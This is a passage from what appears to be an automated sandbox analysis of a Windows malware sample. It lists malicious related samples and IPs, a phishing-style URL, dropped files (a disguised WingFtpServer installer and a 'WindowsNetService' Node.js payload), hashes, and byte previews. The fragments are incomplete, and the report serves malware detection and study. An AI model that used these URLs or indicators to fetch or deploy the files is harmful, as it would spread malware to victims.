	HSBC Customer Information.com.exe	Get hash	malicious	Browse	134.122.29.25
	https://sfo3.digitaloceanspaces.com/teend9blck0nx1v8a88qu016a40x/%21%21%21%21%29%21%28%24%21%29%24%21%21%40/%26%21%24%29%21%40%26%21%26.html#mchealth@monroecounty.gov	Get hash	malicious	Browse	138.68.34.161
	j8wyMRzQ5w.elf	Get hash	malicious	Browse	167.99.218.114
	r83s4zyP3A.elf	Get hash	malicious	Browse	167.99.218.114
	prepossessing.dll.dll	Get hash	malicious	Browse	138.197.151.48
	prepossessing.dll.dll	Get hash	malicious	Browse	138.197.151.48
	countervailing.dll.dll	Get hash	malicious	Browse	138.197.151.48

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\_isetup\_setup64.tmp	winscp438setup.exe	Get hash	malicious	Browse
	setup.exe	Get hash	malicious	Browse
	5YB5dKZ1Ow.exe	Get hash	malicious	Browse
	1dGBb5N0oG.exe	Get hash	malicious	Browse
	https://v2-hbconnect.website/order_create_596807_15-07-2022_14-32-02.zip	Get hash	malicious	Browse
	setup.exe	Get hash	malicious	Browse
	BPtHMWjgi3.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Adware.Babylon.15.13567.exe	Get hash	malicious	Browse
	1899OIwxiA.exe	Get hash	malicious	Browse
	iJh2yh3La8.exe	Get hash	malicious	Browse
	KCR2JIl6tT.exe	Get hash	malicious	Browse
	orbit-4-1-1-18-en-win.exe	Get hash	malicious	Browse
	CCMaker.exe	Get hash	malicious	Browse
	fa#U2310.exe	Get hash	malicious	Browse
	veraport-g3-x64 (1).exe	Get hash	malicious	Browse
	yusetup7.exe	Get hash	malicious	Browse
	LruEqu1rpq.exe	Get hash	malicious	Browse
	fileinjector_696428535.exe	Get hash	malicious	Browse
	zettelkasten-basics_484588750.exe	Get hash	malicious	Browse
	Synapse-X-Cracked_460637337.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Program Files (x86)\WindowsNetService\node.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\wns22DB.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	6887560
Entropy (8bit):	7.995378654994156
Encrypted:	true
SSDEEP:	196608:QLqzi3tI29TS60FIEPgaJzR1VOoaOVxRtx:QLqzi3XT0uEp/ooaWzx
MD5:	5F40521D2E1082FE1C734610C4A83911
SHA1:	86D54874CC8976CDB75A9DC8DCD817AF50837796
SHA-256:	79AC7AE94231A392D27F303418E305A60C4194DBBE143C5DEFFC977C7B2E7A78
SHA-512:	EF2B54B46844CFB13CFDEF6271E2A8B4E646D2E31CA55229E5C76CA90C649895533BC8FB83C4D50DD3721ABB2A5E4C5EE32DF5C4540E1C14498A5E9B550D3189
Malicious:	false
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$.........$c..J0..J0..J0..I1..J0..O1..J0..N1..J0E~.0..J0..I1..J0..O1Z.J0..N1..J0~.I1..J0..J0..J0~.O1>.J0~.N1..J0..K1..J0..K0..J0~.C1..J0~.J1..J0~..0..J0...0..J0~.H1..J0Rich..J0................PE..L...m.Kb..................f..0....H.0X....H..p....@.......................................@...........................^.....P........p..P+......................,............................d......0d..............................................UPX0......H.............................UPX1......f...H...f.................@....rsrc....0...p...0....f.............@......................................................................................................................................................................................................................................................................................................................3.96.UPX!....

C:\Program Files (x86)\WindowsNetService\service.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\wns22DB.tmp
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	191726
Entropy (8bit):	5.402947843639482
Encrypted:	false
SSDEEP:	3072:KRBZA6XY7Id46ywQlR2WqLIeZH+/j4A3NuVq/tPT/iZc4HJn2YCsqoMi6fX:qBZA6XmId46yAWqLIeuj4eNTPT/iZc4a
MD5:	D0BA157ED94AE9AF534FB736C1736F21
SHA1:	398F9DECF25A8B210BD073AD23CED6A4A327607C
SHA-256:	AF02ABAF88D6FC700C36128B42593C81711972639EA41E70C49C6894AA746747
SHA-512:	E657857F425D475A1A5663B25F3B4761696AAA19EF8D614021CDE1411D29F8A358BEAEB3ED593F695890441E79D62575111078120F4E50CD79151E5E04B79802
Malicious:	false
Preview:	"use strict";var Vo=require("events"),Xo=require("https"),Ko=require("http"),Jo=require("net"),Yo=require("tls"),Qo=require("crypto"),ii=require("stream"),Zo=require("url"),ea=require("zlib"),ta=require("dgram"),Zr=require("os"),es=require("path"),ts=require("child_process"),Et=require("fs"),ra=require("assert"),sa=require("buffer"),oi=require("util"),na=require("dns"),ia=require("http2");function te(t){return t&&typeof t=="object"&&"default"in t?t:{default:t}}var ve=te(Vo),rs=te(Xo),mt=te(Ko),bt=te(Jo),ss=te(Yo),Yt=te(Qo),le=te(ii),wt=te(Zo),ns=te(ea),oa=te(ta),vt=te(Zr),St=te(es),ai=te(ts),Ye=te(Et),aa=te(ra),ci=te(sa),Qe=te(oi),ca=te(na),is=te(ia),K=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function la(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}function fa(t){throw new Error('Could not dynamically require "'+t+'". Please configure the dynamicRequireTargets or/and ignoreDyna

C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\wns22DB.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	121344
Entropy (8bit):	6.368272862456959
Encrypted:	false
SSDEEP:	3072:GB71pvOGtPSxyrvL9lHYGPrZPUySeqFUezNril2qhs0buZh1n:GBRpxSxyHYG2lFUcifo
MD5:	C48855FE677EB4D5C999C01ECCFDB0BC
SHA1:	FA5D96CBDE348756B0B9B10D5AB139913E636831
SHA-256:	E721FCE186944A3A5C0E822DD4BA71754B217F9CD153707C49D76FCFCB297C06
SHA-512:	ADF3D91C123240B1FFC5EAAE9AFB4D512D272B1C76F3AC89D2088E30F3F456C46A8141155890097B237E1D6E385514FC1D2D4B9A2C3A78A601DD741CD461877E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z..F..............................L...;..L......L................l.........H..........Rich...........PE..L.....b.................8...........".......P....@.......................... ............@.....................................P...................................L...............................h...@............P...............................text....7.......8.................. ..`.rdata...~...P.......<..............@..@.data...,...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_vbc.exe_54491368af7715c12dfed16f4de8ee34d35db7f8_b5adf338_14b2e68e\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6321651164182989
Encrypted:	false
SSDEEP:	96:2qFkCJ0HCbv1Dg/dSspXIQcQzc6CmcE1cw3CmG/+HbHsZAXGng5FMTPSkvPkpXmb:Fis0vHNXfXjl/u7s7S274ItZ7D
MD5:	457121517530AB652BCC8A7EEE4D8123
SHA1:	D4F7C816E7DF5F7FA5FC250699CA4C13AEF8073C
SHA-256:	23F5F931EDAD402F11C82B970F2C40D0472587FCAFD4DD72A6F0FEFE277893E2
SHA-512:	199F3B6A61A05183CCCD523FCE773F5CF9B489D9F159BE982540AF60171AD5DF56903CAABADAABB7B6E620E0B762AD966495000C6D57059D621265540523E88D
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.7.4.7.6.6.7.2.2.7.8.1.7.4.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.0.7.4.7.6.6.7.8.2.3.1.2.8.6.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.3.d.e.5.c.a.6.-.d.6.a.9.-.4.c.e.3.-.b.a.e.6.-.2.1.4.1.c.1.8.3.9.5.4.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.d.a.e.4.5.3.9.-.e.0.0.1.-.4.7.5.1.-.a.3.5.3.-.5.5.2.3.f.8.3.f.f.1.f.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.v.b.c...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.v.b.c...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.a.c.-.0.0.0.1.-.0.0.1.a.-.a.e.b.e.-.6.5.9.3.c.b.c.6.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.7.b.1.a.c.7.4.7.e.7.7.0.5.a.2.1.a.c.d.d.5.8.2.b.6.3.8.0.0.0.1.6.b.e.2.1.7.7.4.!.v.b.c...e.x.e.....T.a.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC8A6.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Sep 12 17:17:55 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	18226
Entropy (8bit):	1.9454156084581231
Encrypted:	false
SSDEEP:	96:5e8D8M/YNpPiri7wF5oLaUgt/s9AzV2lETcPWWI3WIXmIZUT8O:TzQpqrO+oeUq/sAzMlETBUTf
MD5:	BC09665F0DDCDF715BA70DB0CD1E3E3D
SHA1:	8AB9083D3636A4FC5F80F75F8CEB79B56C86EAAF
SHA-256:	C31EEBA3C1C9748C203C39805ED111BAE277E598A6E1C437FAFD701B867011CE
SHA-512:	F369EC2C13C2D7D4A43B8F2B081115F26C681DC3C038D90AD8B7A31058DA837BB8814464E0125311D6B1C4585264A970F2A200BBDBDF8F95CD4BD5485FBAC3D2
Malicious:	false
Preview:	MDMP....... ........i.c............4...............<.......D...~...........T.......8...........T...............B@...........................................................................................U...........B......t.......GenuineIntelW...........T............i.c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8A4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8324
Entropy (8bit):	3.688585015133087
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNigCjV627le6Ygm6gm/gmfz1S3OnCpDD89bpD+sfODm:RrlsNig0V6R6YJ6gm/gmfz1S3OLpD9fb
MD5:	6080ACACF3750C89E11303689FBEE6AA
SHA1:	494BFDC2E1DDAF6A6C85CA64A5ED62EED4E6786F
SHA-256:	45B830938AC4A3203D72AEA9365A037725457DD2550894812EEF0836233FA438
SHA-512:	1C634654ECF9D18B50D9FC094261F95990D0F300C61BEBE37BA89EAF13C7FF948B33752303F2ED13013F913E436D56FC1A25CDCE6DB4A36EF3AFEA97C2B20609
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.2.4.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB93.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4700
Entropy (8bit):	4.415762105034311
Encrypted:	false
SSDEEP:	48:cvIwSD8zsWJgtWI9FRWgc8sqYj98fm8M4JapFn+q8v4+Wd4Hd:uITfsWAgrsqYuJUK3E4Hd
MD5:	66469BB31BC0AA1B10948347C86C7C0F
SHA1:	E0A1665063F0B5206CC00C9D4A748AA1B51FAED5
SHA-256:	56857136433BAA2C761A55A30C4228EA99944A408629BABCC3580CEF2F910A69
SHA-512:	93BEA88862C08467168132A291B5D6CF60ACC3A74FFF0DB09E96EE73D7704BB000B9AAB70C89B927743D7D82AD12E18D3EDE6B29048882EDD36272E16C1E546A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1689268" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\USOPrivate\UpdateStore\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	5.210945042543981
Encrypted:	false
SSDEEP:	24:2dS48pX4y/DvKWDkQpye7X8ICDKbs37Ti8TBM8PT52Yb3PPHpXUEqXpbfKFQRFNR:cAn/TLt0J/pXA1JVp/BJUSkC9+Tu+s
MD5:	9F723536CCBD0D1BA6531E106C5C3C68
SHA1:	D52FBB0840C388D388F4597E6210DED597EC96CB
SHA-256:	C63562E6E16F03F4FBE46F386A7973A8446BA4519E73BDC774DE5CB7BA87A168
SHA-512:	5F539176C957659D94416FC17A83EB6E2BE860752364A7DB394267A834D9604AEBAA0B282F180A95A95A1C9D2E902A6E4461C6E26BDE7848AD699E6391244486
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?><updateStore><sessionVariables><permanent><AUOptions dataType="3">1</AUOptions><AllowMUUpdateService dataType="3">0</AllowMUUpdateService><AreUpdatesPausedByPolicy dataType="11">False</AreUpdatesPausedByPolicy><AttentionRequiredReason dataType="19">0</AttentionRequiredReason><CurrentState dataType="19">1</CurrentState><FirstScanAttemptTime dataType="21">132399998126404364</FirstScanAttemptTime><FlightEnabled dataType="3">0</FlightEnabled><LastError dataType="19">0</LastError><LastErrorState dataType="19">0</LastErrorState><LastErrorStateType dataType="11">False</LastErrorStateType><LastMeteredScanTime dataType="21">132399998126560620</LastMeteredScanTime><LastScanAttemptTime dataType="21">132399998126404364</LastScanAttemptTime><LastScanDeferredReason dataType="19">1</LastScanDeferredReason><LastScanDeferredTime dataType="21">133051636774803094</LastScanDeferredTime><LastScanFailureError dataType="3">-2147023838</LastScanFailureError><LastScanFailu

C:\ProgramData\USOPrivate\UpdateStore\updatestoretemp51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	2494
Entropy (8bit):	5.210945042543981
Encrypted:	false
SSDEEP:	24:2dS48pX4y/DvKWDkQpye7X8ICDKbs37Ti8TBM8PT52Yb3PPHpXUEqXpbfKFQRFNR:cAn/TLt0J/pXA1JVp/BJUSkC9+Tu+s
MD5:	9F723536CCBD0D1BA6531E106C5C3C68
SHA1:	D52FBB0840C388D388F4597E6210DED597EC96CB
SHA-256:	C63562E6E16F03F4FBE46F386A7973A8446BA4519E73BDC774DE5CB7BA87A168
SHA-512:	5F539176C957659D94416FC17A83EB6E2BE860752364A7DB394267A834D9604AEBAA0B282F180A95A95A1C9D2E902A6E4461C6E26BDE7848AD699E6391244486
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?><updateStore><sessionVariables><permanent><AUOptions dataType="3">1</AUOptions><AllowMUUpdateService dataType="3">0</AllowMUUpdateService><AreUpdatesPausedByPolicy dataType="11">False</AreUpdatesPausedByPolicy><AttentionRequiredReason dataType="19">0</AttentionRequiredReason><CurrentState dataType="19">1</CurrentState><FirstScanAttemptTime dataType="21">132399998126404364</FirstScanAttemptTime><FlightEnabled dataType="3">0</FlightEnabled><LastError dataType="19">0</LastError><LastErrorState dataType="19">0</LastErrorState><LastErrorStateType dataType="11">False</LastErrorStateType><LastMeteredScanTime dataType="21">132399998126560620</LastMeteredScanTime><LastScanAttemptTime dataType="21">132399998126404364</LastScanAttemptTime><LastScanDeferredReason dataType="19">1</LastScanDeferredReason><LastScanDeferredTime dataType="21">133051636774803094</LastScanDeferredTime><LastScanFailureError dataType="3">-2147023838</LastScanFailureError><LastScanFailu

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\z5i6tLOUD0.exe.log

Download File

Process:	C:\Users\user\Desktop\z5i6tLOUD0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	612
Entropy (8bit):	5.33730556823153
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21xzAbDLI4M0kvoDLI4MWuCOKbbDLI4MWuPJKiUrRZ9I0ZKhk:ML9E4Ks2vsXE4jE4KnKDE4KhK3VZ9pKe
MD5:	08A80BA6C9FA7AD518949631A37A08F9
SHA1:	27D59DD0D98BE6A7986BD690F9290451CAFD1536
SHA-256:	BDBB0129FD9D6760CB29D06B764A239A2E21DE7792CF0415211FBDF5551519FE
SHA-512:	CF00287F65F7D19C66F6AE2BEABAA9A442A5202F39E05B7E67BB56391212FDA0E06DB1F671A2A9CD52F3C12C230EAB7C0C6822A89CAAF5DBEDF14E9B84FA2C16
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Temp\WingFtpServer.exe

Download File

Process:	C:\Users\user\Desktop\z5i6tLOUD0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20958709
Entropy (8bit):	7.9994219064138035
Encrypted:	true
SSDEEP:	393216:FgHyv44S5W52GAU9sdmtbCY+pqMK8o/DPe7FZvbmFX3xqeWafKi1KD5TKkVSPwwA:FzI5QZAgDx4kMFmSrUX3MeWafKiE5TzB
MD5:	CF0D1C650627BF796FDC7775FDECB2E0
SHA1:	AA603F30052F8CB40E0490E52A799C0372F7DD1A
SHA-256:	3203490A478DFD78373E4471AD641A5C6B6F97231586B0DD4184019C81202B7B
SHA-512:	279CA871A62665E34229F175846C4B8DB148CC1F4593823CEDB42B5CA3B17D6B4D2ABB4592892CEDBBC38873F7FC8873172A72596C284DBEE90F5DD480C23354
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......J.................P...........c.......p....@.................................B............@...................................0..D...........x...(U..........................................................P...L............................text....C.......D.................. ..`.itext..,....`.......H.............. ..`.data........p.......T..............@....bss.....V...........b...................idata...............b..............@....tls.................r...................rdata...............r..............@..@.reloc..T...........................@..B.rsrc...D....0.......t..............@..@.....................@..............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	false
Joe Sandbox View:	Filename: winscp438setup.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: 5YB5dKZ1Ow.exe, Detection: malicious, Browse Filename: 1dGBb5N0oG.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: BPtHMWjgi3.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Adware.Babylon.15.13567.exe, Detection: malicious, Browse Filename: 1899OIwxiA.exe, Detection: malicious, Browse Filename: iJh2yh3La8.exe, Detection: malicious, Browse Filename: KCR2JIl6tT.exe, Detection: malicious, Browse Filename: orbit-4-1-1-18-en-win.exe, Detection: malicious, Browse Filename: CCMaker.exe, Detection: malicious, Browse Filename: fa#U2310.exe, Detection: malicious, Browse Filename: veraport-g3-x64 (1).exe, Detection: malicious, Browse Filename: yusetup7.exe, Detection: malicious, Browse Filename: LruEqu1rpq.exe, Detection: malicious, Browse Filename: fileinjector_696428535.exe, Detection: malicious, Browse Filename: zettelkasten-basics_484588750.exe, Detection: malicious, Browse Filename: Synapse-X-Cracked_460637337.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\setuphelper.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1384960
Entropy (8bit):	6.643024942098032
Encrypted:	false
SSDEEP:	24576:Hk20UaUpuMzkufEToax+5uFWGqij0YZdQQHNLQraUuK8krZeM9Kp9feHE0ECjzR:9pDbfEToax+5uFWGqij0YZdQqYrcMgfW
MD5:	936B3FF388B5893CDBF7ABB1DEBCA62C
SHA1:	4136DBA88C54EDDFDAA7DA2D1921A65AA65573FC
SHA-256:	CB9BE92DA900E82E3DF5BB0AFD9209F1F60C9ECFD49EE4FF33E677CFE05E9CD6
SHA-512:	BC6AA2B550D5983D778426E565DD8CABA63B00CC85E4FD53BDD41D323224EDCDC0E211D4EB8873EBBE7ECA9C736A709B7C46B68DA2A24FA254306791BB5C2CBD
Malicious:	false
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...e..^.....................h....................@......................................................................................F......................................................................................f....................text...8........................... ..`.itext.............................. ..`.data....F.......H..................@....bss.....f...0...........................idata..............................@....didata.f...........................@....edata..............................@..@.rdata..E...........................@..@.reloc..............................@..B.rsrc....F.......F..................@..@....................."..............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\WingFtpServer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8279040
Entropy (8bit):	7.926959055180887
Encrypted:	false
SSDEEP:	196608:uJtGh+zikz9dyUI7tgF18H2gXjOanBHT50LT/oIay2tz:u7sxkJdydJgFqHJT/dT50HoXJ
MD5:	4137CF8E14B42B0E1C90AF7628E02978
SHA1:	454DB1D471CD7F27139699185E878C997288BA06
SHA-256:	7198267386D888CAC5535524364700F60267C611E9FA5683CB7E9D4196703F99
SHA-512:	BB72F1F4E8C2627690590AED375B94BF7A2A91891B53457905F90BD865F25E70F49E56BDBD026C3FCA0AF906898B3402E5A1BE56504F9D1EE1A72D0C45DB062A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......J.................\|...N....................@..............................................@...........................0...7......._n.........................................................................X:..x............................text...hh.......j.................. ..`.itext..$............n.............. ..`.data...0/.......0..................@....bss....`_...............................idata...7...0...8..................@....tls....<....p...........................rdata..............................@..@.reloc..............................@..B.rsrc...._n......`n.................@..@.wtext...............J~................`................................................................................................

C:\Users\user\AppData\Local\Temp\nsf29D2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wns22DB.tmp
File Type:	data
Category:	dropped
Size (bytes):	7409346
Entropy (8bit):	7.958302362228628
Encrypted:	false
SSDEEP:	196608:sRLqzi3tI29TS60FIEPgaJzR1VOoaOVxRtI:ULqzi3XT0uEp/ooaWzI
MD5:	1842CDC82063CDC15AF0AD548A3AFA83
SHA1:	176EADB99CD9350AB93C9CC5075D2978D3D81E40
SHA-256:	08BD7857E8AB34B3C16F6468E106447386E7C31842A39E08D9CE650822ABF227
SHA-512:	A3CA13BF81A3BB99E69F27002EDF911DD7355D9453AAFD49B9219ACED433E5CB295D864267F30C9A80124B0A29AF52C722BF3C5A5C51B1CA06F51F85B8F02F5F
Malicious:	false
Preview:	.^......,................A.......T......6^.......^..........................................................................................................................................................................................................................................G...J...............j...................................................................................................................................................z...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsz2A01.tmp\nsExec.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\wns22DB.tmp
